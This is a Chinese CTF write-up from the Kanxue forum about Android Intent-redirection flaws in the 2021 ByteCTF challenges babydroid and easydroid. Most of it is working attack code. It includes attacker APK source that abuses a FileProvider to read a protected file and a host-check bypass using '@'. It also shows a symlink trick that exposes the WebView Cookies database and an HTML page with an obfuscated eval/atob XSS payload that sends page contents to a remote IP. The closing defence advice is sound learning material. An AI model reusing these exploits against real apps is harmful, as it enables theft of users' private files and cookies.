由2021ByteCTF引出的intent重定向浅析
本文为看雪论坛优秀文章
看雪论坛作者ID:Forgo7ten
1
Intent浅要概述
Intent是Android程序中各组件之间进行交互的一种重要方式,它不仅可以指明当前组件想要执行的动作,还可以在不同组件之间传递数据。Intent一般可被用于启动活动、启动服务以及发送广播等场景。
Intent是一种运行时绑定(runtime binding)机制,它能在程序运行的过程中连接两个不同的组件。通过Intent,你的程序可以向Android表达某种请求或者意愿,Android会根据意愿的内容选择适当的组件来响应。
Component属性明确指定Intent的目标组件的类名称。如果 component这个属性有指定的话,将直接使用它指定的组件(显式Intent)。指定了这个属性以后,Intent的其它所有属性都是可选的。
Action 是一个用户定义的字符串,用于描述一个 Android 应用程序组件,一个 Intent Filter 可以包含多个 Action。在 AndroidManifest.xml 的Activity 定义时,可以在其<intent-filter >节点指定一个Action列表用于标识 Activity 所能接受的“动作”。
该属性也是通过作为<intent-filter>的子元素来声明的。如果没有指定category,将会使用默认的"android.intent.category.DEFAULT"。只有当<action>和<category>中的内容同时能够匹配上Intent中指定的action和category时,这个活动才能响应Intent。
Data是用一个uri对象来表示的。<data>标签可配置以下属性:
只有<data> 标签中指定的内容和Intent中携带的Data完全一致时,当前活动才能够响应该Intent。
android:scheme 。用于指定数据的协议部分,如上例中的http部分。
android:host 。用于指定数据的主机名部分,如上例中的www.baidu.com部分。
android:port 。用于指定数据的端口部分,一般紧随在主机名之后。
android:path 。用于指定主机名和端口之后的部分,如一段网址中跟在域名之后的内容。
android:mimeType 。用于指定可以处理的数据类型,允许使用通配符的方式进行指定。
如果Intent对象中既包含Uri又包含Type,那么,在<intent-filter>中也必须二者都包含才能通过测试。
提供附加数据。使用putExtra()方法来设置额外的key-value数据
用来指示系统如何启动一个Activity(比如:这个Activity属于哪个Activity栈)和Activity启动后如何处理它(比如:是否把这个Activity归为最近的活动列表中)。
2
babydroid
漏洞分析
服务源码文件server.py
print_to_user(r"""
____ __ ____ __
/\ _`\ /\ \ /\ _`\ __ /\ \
\ \ \L\ \ __ \ \ \____ __ __\ \ \/\ \ _ __ ___ /\_\ \_\ \
\ \ _ <' /'__`\ \ \ '__`\/\ \/\ \\ \ \ \ \/\`'__\/ __`\/\ \ /'_` \
\ \ \L\ \/\ \L\.\_\ \ \L\ \ \ \_\ \\ \ \_\ \ \ \//\ \L\ \ \ \/\ \L\ \
\ \____/\ \__/.\_\\ \_,__/\/`____ \\ \____/\ \_\\ \____/\ \_\ \___,_\
\/___/ \/__/\/_/ \/___/ `/___/> \\/___/ \/_/ \/___/ \/_/\/__,_ /
/\___/
\/__/
""")
if not proof_of_work():
print_to_user("Please proof of work again, exit...\n")
exit(-1)
print_to_user("Please enter your apk url:")
url = sys.stdin.readline().strip()
EXP_FILE = download_file(url)
if not check_apk(EXP_FILE):
print_to_user("Invalid apk file.\n")
exit(-1)
print_to_user("Preparing android emulator. This may takes about 2 minutes...\n")
emulator = setup_emulator()
adb(["wait-for-device"])
adb_install(APK_FILE)
adb_activity(f"{VULER}/.MainActivity", wait=True)
with open(FLAG_FILE, "r") as f:
adb_broadcast(f"com.bytectf.SET_FLAG", f"{VULER}/.FlagReceiver", extras={"flag": f.read()})
time.sleep(3)
adb_install(EXP_FILE)
adb_activity(f"{ATTACKER}/.MainActivity")
print_to_user("Launching! Let your apk fly for a while...\n")
time.sleep(EXPLOIT_TIME_SECS)
try:
os.killpg(os.getpgid(emulator.pid), signal.SIGTERM)
except:
traceback.print_exc()
h13~h15:进行了一个sha256的验证,必须满足sha256((prefix+proof).encode()).hexdigest().startswith(difficulty*"0") == True才能继续。其中prefix为random_hex(6)随机的字符;proof为用户输入的字符串。可以每次爆破得到正确的结果来输入。
h17~h22:用户输入一个url地址。server会将该文件下载下来,同时检查是否为apk。
h24~h26:新建一个安卓模拟器。
h28:将含有漏洞的APK安装。
h29:启动受害APK。
h30~h31:打开服务器中保存的flag文件。然后通过adb命令发送一个广播,将flag传输给.FlagReceiver。其中命令如下:
shell su root am broadcast -W -a com.bytectf.SET_FLAG -n com.bytectf.babydroid/.FlagReceiver -e flag [flag]
h34~h35:安装attack apk并运行。
apk分析
AndroidManifest.xml
MainActivity
Vulnerable(易受攻击的)
protected void onCreate(Bundle savedInstanceState){
super.onCreate(savedInstanceState);
this.startActivity(this.getIntent().getParcelableExtra("intent"));
}
FlagReceiver
public void onReceive(Context context,Intent intent){
String flag;
String str = "flag";
if ((flag = intent.getStringExtra(str)) != null) {
File file = new File(context.getFilesDir(), str);
this.writeFile(file, flag);
Log.e("FlagReceiver", "received flag.");
}
return;
}
FileProvider
<?xml version="1.0" encoding="utf-8"?>
<paths>
<root-path name="root" path="" />
</paths>
利用思路
FlagURI
content://[authorities]/[name]/[file_relative_path]
content://androidx.core.content.FileProvider/root/data/data/com.bytectf.babydroid/files/flag
获得权限
Attack代码实现
AttackAPP
private void getFlag() {
// 判断一下是否是被目标apk来start的该Activity
if (getIntent().getAction().equals("evil")) {
// 获取接收到的uri
Uri data = getIntent().getData();
try {
// 定义一个字符输入流
InputStreamReader isr = new InputStreamReader(getContentResolver().openInputStream(data));
char[] buf = new char[1024];
StringBuffer sb = new StringBuffer("");
while (-1 != isr.read(buf, 0, 1024)) {
sb.append(String.valueOf(buf));
}
// 读取的内容输入存储到flag
String flag = new String(sb);
Log.d("PwnPwn", flag);
((TextView) findViewById(R.id.tv_show)).setText(new String(sb));
// 通过网络、将信息传输回来获取
sendData("getFlag",flag);
} catch (IOException e) {
e.printStackTrace();
}
} else {
// 定义一个action为"evil"的Intent
Intent evil = new Intent("evil");
// 设定目的组件为当前MainActivity,也可以单独放在另一个AttackActivity中
evil.setClassName(getPackageName(), MainActivity.class.getName());
// 设置操纵data数据为 flag所在文件的contentURI
evil.setData(Uri.parse(pwnUri));
// 添加读写权限
evil.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION | Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
// 新建一个intent,用于启动目标APK
Intent intent = new Intent();
// 启动的目标Activity为Vulnerable
intent.setClassName("com.bytectf.babydroid", "com.bytectf.babydroid.Vulnerable");
// 同时将构造好的evil Intent当作 key "intent"的数据包装进去
intent.putExtra("intent", evil);
// 启动目标apk
startActivity(intent);
finish();
}
}
<uses-permission android:name="android.permission.INTERNET" />
android:usesCleartextTraffic="true"
本地实现
adb shell su root am broadcast -W -a com.bytectf.SET_FLAG -n com.bytectf.babydroid/.FlagReceiver -e flag ByteCTF{testFlagxxxxx}
3
easydroid
漏洞分析
服务源码文件server.py
apk分析
AndroidManifest
<application android:allowBackup="true" android:appComponentFactory="androidx.core.app.CoreComponentFactory" android:debuggable="true" android:icon="@mipmap/ic_launcher" android:label="@string/app_name" android:roundIcon="@mipmap/ic_launcher_round" android:supportsRtl="true" android:theme="@style/Theme.Easydroid" android:usesCleartextTraffic="true">
<activity android:exported="true" android:name="com.bytectf.easydroid.MainActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
<activity android:exported="false" android:name="com.bytectf.easydroid.TestActivity"/>
<receiver android:exported="false" android:name="com.bytectf.easydroid.FlagReceiver">
<intent-filter>
<action android:name="com.bytectf.SET_FLAG"/>
</intent-filter>
</receiver>
</application>
FlagReceiver
public class FlagReceiver extends BroadcastReceiver {
@Override // android.content.BroadcastReceiver
public void onReceive(Context context, Intent intent) {
String flag = intent.getStringExtra("flag");
if(flag != null) {
try {
String v0_1 = Base64.encodeToString(flag.getBytes("UTF-8"), 0);
CookieManager.getInstance().setCookie("https://tiktok.com/", "flag=" + v0_1);
Log.e("FlagReceiver", "received flag.");
}
catch(UnsupportedEncodingException e) {
e.printStackTrace();
}
return;
}
}
}
MainActivity
@Override // androidx.fragment.app.FragmentActivity
protected void onCreate(Bundle arg5) {
super.onCreate(arg5);
Uri data = this.getIntent().getData();
if(data == null) {
data = Uri.parse("http://app.toutiao.com/");
}
if((data.getAuthority().contains("toutiao.com")) && (data.getScheme().equals("http"))) {
WebView webView = new WebView(this.getApplicationContext());
webView.setWebViewClient(new WebViewClient() {
@Override // android.webkit.WebViewClient
public boolean shouldOverrideUrlLoading(WebView arg5, String arg6) {
if(Uri.parse(arg6).getScheme().equals("intent")) {
try {
MainActivity.this.startActivity(Intent.parseUri(arg6, 1));
}
catch(URISyntaxException e) {
e.printStackTrace();
}
return 1;
}
return super.shouldOverrideUrlLoading(arg5, arg6);
}
});
this.setContentView(webView);
webView.getSettings().setJavaScriptEnabled(true);
webView.loadUrl(data.toString());
}
}
TestActivity
protected void onCreate(Bundle arg5) {
super.onCreate(arg5);
String url = this.getIntent().getStringExtra("url");
WebView webView = new WebView(this.getApplicationContext());
this.setContentView(webView);
webView.getSettings().setJavaScriptEnabled(true);
webView.loadUrl(url);
}
利用思路
Intent重定向
WebView窃取Cookies文件
Attack代码实现
AttackAPP
public class MainActivity extends AppCompatActivity {
// 定义evil_page的地址
String base = "10.7.89.108/MyTest/evil.html";
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
// 构造一个恶意Intent,让shouldOverrideUrlLoading回调时候使用startActivity传递该Intent
buildEvilIntent();
// 启动搭建好的evil 网页,让目标app访问。
launch(base);
}
private void buildEvilIntent() {
Intent evil = new Intent();
// 设置目的组件为TestActivity
evil.setClassName("com.bytectf.easydroid","com.bytectf.easydroid.TestActivity");
// 将需要WebView加载的Cookies符号地址链接传递过去
evil.putExtra("url","file:"+symlink());
// flags是转换的格式,同MainActivity为1
Log.d("PwnThree-evilUri",evil.toUri(1));
// 复制该Uri,然后在evil_page中添加 跳转到该Uri的代码
}
private void launch(String url){
// 构造一个intent
Intent intent = new Intent();
// 设置目的组件为MainActivity
intent.setClassName("com.bytectf.easydroid","com.bytectf.easydroid.MainActivity");
// 构造恶意Uri,使用@突破校验
intent.setData(Uri.parse("http://www.toutiao.com@" + url));
// 设置activity启动模式
intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK|Intent.FLAG_ACTIVITY_CLEAR_TASK);
// 启动目标app的activity
startActivity(intent);
}
private String symlink(){
// 获得应用数据目录
String root = getApplicationInfo().dataDir;
Log.d("PwnThree","root path:"+root);
// 构造一个符号链接
String symlink = root + "/symlink.html";
Log.d("PwnThree","symlink path:"+symlink);
String cookies = null;
Runtime runtime = Runtime.getRuntime();
try {
// Cookies所在路径
cookies = getPackageManager().getApplicationInfo("com.bytectf.easydroid",0).dataDir +"/app_webview/Cookies";
Log.d("PwnThree","Cookies path:"+cookies);
// 删除该path对应的文件,防止创建符号链接时冲突。
runtime.exec("rm "+symlink).waitFor();
// 创建该符号链接,使后缀名为.html。方便WebView打开
runtime.exec("ln -s "+cookies+" " + symlink).waitFor();
// 赋予应用目录最高777权限,使外部应用也可以访问该目录
runtime.exec("chmod -R 777 "+root).waitFor();
} catch (InterruptedException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
} catch (PackageManager.NameNotFoundException e) {
e.printStackTrace();
}
// 返回创建的符号链接的全路径
return symlink;
}
}
evil_page
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>evil</title>
</head>
<body>
<h1>injected cookie with xss</h1>
<script>
document.cookie = "sendData = '<img src=\"evil\" onerror=\"eval(atob('dmFyIGJhc2VVcmwgPSAiaHR0cDovLzEwLjcuODkuMTA4L015VGVzdC9SZWNlaXZlU2VydmxldD8iCm5ldyBJbWFnZSgpLnNyYyA9IGJhc2VVcmwgKyAiY29va2llPSIgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoImh0bWwiKVswXS5pbm5lckhUTUwpOw=='))\">'"
var baseUrl = "http://10.7.89.108/MyTest/ReceiveServlet?"
new Image().src = baseUrl + "cookie=" + encodeURIComponent("open evil page.");
setTimeout(function() {
location.href = 'intent:#Intent;component=com.bytectf.easydroid/.TestActivity;S.url=file%3A%2Fdata%2Fuser%2F0%2Fcom.bytectf.pwneasydroid%2Fsymlink.html;end';
}, 40000);
</script>
</body>
</html>
h10:添加了一个cookie,名字为"sendData",相应的值是一个<img>标签,src属性是一个不存在的路径,因此<img>标签在装载文档或图像的过程中会发生错误,就会执行onerror事件。使用eval()来执行js代码文本,atob()将文本进行base64解密得到真实的代码。
其中base64的代码源为:
var baseUrl = "http://10.7.89.108/MyTest/ReceiveServlet?"
new Image().src = baseUrl + "cookie=" + encodeURIComponent(document.getElementsByTagName("html")[0].innerHTML);
也就是将该页面全部内容作为参数发送到接收方。
h11~h12:只是简单的通知一下接收方用户打开了该页面(可以去掉)。
h13~h15:使用setTimeout延时40s再跳转。因为含有恶意js代码的cookie的写入需要一定时间。
等待好后会跳转前往 构造好的intent的Uri。之后便会被shouldOverrideUrlLoading()回调函数捕获,并通过startActivity()来启动TestActivity。
本地实现
adb shell su root am broadcast -W -a com.bytectf.SET_FLAG -n com.bytectf.easydroid/.FlagReceiver -e flag ByteCTF{testFlag_x_easydroid}
4
最后
(1)应严格控制组件的可导出权限,没必要导出的组件添加android:exported="false"属性。
(2)在进行Intent重定向时,应对Intent进行严格的校验。
(3)添加代码混淆,提高攻击成本。
看雪ID:Forgo7ten
https://bbs.pediy.com/user-home-925172.htm
# 往期推荐
2.Android APP漏洞之战——Content Provider漏洞详解
4.Android APP漏洞之战——Activity漏洞挖掘详解
球分享
球点赞
球在看
点击“阅读原文”,了解更多!